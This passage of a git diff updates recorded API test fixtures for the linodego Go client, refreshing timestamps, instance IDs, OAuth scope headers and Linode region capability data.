"2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem": "ext4", "size": 2000}], "page": 1, "pages": 1, "results": 1}' headers: @@ -688,7 +613,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:18:54 GMT + - Fri, 31 May 2024 17:45:30 GMT Pragma: - no-cache Strict-Transport-Security: @@ -704,7 +629,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -722,7 +650,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875/disks/108752404/resize + url: https://api.linode.com/v4beta/linode/instances/59542974/disks/117262197/resize method: POST response: body: '{}' @@ -748,7 +676,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:18:54 GMT + - Fri, 31 May 2024 17:45:30 GMT Pragma: - no-cache Strict-Transport-Security: @@ -763,7 +691,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -781,7 +712,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933875 + url: https://api.linode.com/v4beta/linode/instances/59542974 method: DELETE response: body: '{}' @@ -807,7 +738,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:18:54 GMT + - Fri, 31 May 2024 17:45:30 GMT Pragma: - no-cache Strict-Transport-Security: @@ -822,7 +753,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_Disks_List.yaml b/test/integration/fixtures/TestInstance_Disks_List.yaml index 23b6d6f2a..e4912d1ea 100644 --- a/test/integration/fixtures/TestInstance_Disks_List.yaml +++ b/test/integration/fixtures/TestInstance_Disks_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 